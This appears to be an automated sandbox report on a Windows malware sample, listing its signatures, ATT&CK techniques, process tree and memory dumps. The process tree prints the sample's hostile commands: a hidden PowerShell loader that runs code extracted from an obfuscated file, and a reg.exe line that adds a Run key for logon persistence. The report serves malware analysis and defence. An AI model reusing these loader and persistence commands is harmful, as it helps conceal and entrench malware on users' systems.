Analysis
- max time kernel
165s - max time network
163s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
- submitted
01/08/2026, 07:50
General
- Target b3fb616de3993830d09c675bca2c146618abd5fbf8cd564702642d2eeb8aef10.exe
- Size 1.3MB
- Sample260801-jpblbsff96
- SHA256 b3fb616de3993830d09c675bca2c146618abd5fbf8cd564702642d2eeb8aef10
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Loads dropped DLL 1 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies registry key 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\b3fb616de3993830d09c675bca2c146618abd5fbf8cd564702642d2eeb8aef10.exe"C:\Users\Admin\AppData\Local\Temp\b3fb616de3993830d09c675bca2c146618abd5fbf8cd564702642d2eeb8aef10.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Torsteinns=Get-Content 'C:\Users\Admin\AppData\Local\Temp\Myrmecophile\indregistreringers\Tangerendes\Yod.Kat';$Hvelser=$Torsteinns.SubString(53405,3);.$Hvelser($Torsteinns)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\vitriolers.exe"C:\Users\Admin\AppData\Local\Temp\vitriolers.exe"3⤵
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Lydigheders" /t REG_EXPAND_SZ /d "%Forblevet% -windowstyle minimized $Thymetic=(Get-ItemProperty -Path 'HKCU:\Rewade\').overfringsformats;%Forblevet% ($Thymetic)"4⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\reg.exeREG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Lydigheders" /t REG_EXPAND_SZ /d "%Forblevet% -windowstyle minimized $Thymetic=(Get-ItemProperty -Path 'HKCU:\Rewade\').overfringsformats;%Forblevet% ($Thymetic)"5⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Modifies registry key
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
Loading Replay Monitor...
Downloads
Ndlgne.Hre
Yod.Kat
vitriolers.exe
memory/2848-48-0x0000000077CA5000-0x0000000077CA6000-memory.dmp
memory/2848-44-0x0000000000400000-0x00000000016E6000-memory.dmp
memory/2848-43-0x0000000077CA5000-0x0000000077CA6000-memory.dmp
memory/2848-42-0x0000000077C1F000-0x0000000077C20000-memory.dmp
memory/2848-41-0x0000000000400000-0x00000000016E6000-memory.dmp
memory/3008-26-0x0000000073C70000-0x000000007442C000-memory.dmp
memory/3008-31-0x0000000073C70000-0x000000007442C000-memory.dmp
memory/3008-18-0x0000000006820000-0x000000000686C000-memory.dmp
memory/3008-19-0x00000000077D0000-0x0000000007866000-memory.dmp
memory/3008-21-0x0000000006D60000-0x0000000006D82000-memory.dmp
memory/3008-20-0x0000000006D10000-0x0000000006D2A000-memory.dmp
memory/3008-22-0x0000000008040000-0x00000000085FA000-memory.dmp
memory/3008-16-0x0000000006470000-0x00000000067CB000-memory.dmp
memory/3008-24-0x0000000008C80000-0x00000000092FC000-memory.dmp
memory/3008-25-0x0000000073C70000-0x000000007442C000-memory.dmp
memory/3008-6-0x0000000073C82000-0x0000000073C83000-memory.dmp
memory/3008-27-0x0000000073C70000-0x000000007442C000-memory.dmp
memory/3008-28-0x0000000073C70000-0x000000007442C000-memory.dmp
memory/3008-13-0x0000000006280000-0x00000000062E6000-memory.dmp
memory/3008-30-0x0000000073C82000-0x0000000073C83000-memory.dmp
memory/3008-17-0x00000000067D0000-0x00000000067EE000-memory.dmp
memory/3008-32-0x0000000073C70000-0x000000007442C000-memory.dmp
memory/3008-33-0x0000000073C70000-0x000000007442C000-memory.dmp
memory/3008-34-0x0000000009300000-0x000000000CB22000-memory.dmp
memory/3008-35-0x0000000073C70000-0x000000007442C000-memory.dmp
memory/3008-36-0x0000000073C70000-0x000000007442C000-memory.dmp
memory/3008-37-0x0000000073C70000-0x000000007442C000-memory.dmp
memory/3008-38-0x0000000073C70000-0x000000007442C000-memory.dmp
memory/3008-12-0x0000000006210000-0x0000000006276000-memory.dmp
memory/3008-11-0x0000000006140000-0x0000000006162000-memory.dmp
memory/3008-10-0x0000000073C70000-0x000000007442C000-memory.dmp
memory/3008-9-0x0000000005A10000-0x000000000605A000-memory.dmp
memory/3008-8-0x0000000073C70000-0x000000007442C000-memory.dmp
memory/3008-7-0x00000000032C0000-0x00000000032F6000-memory.dmp
memory/3008-57-0x0000000073C70000-0x000000007442C000-memory.dmp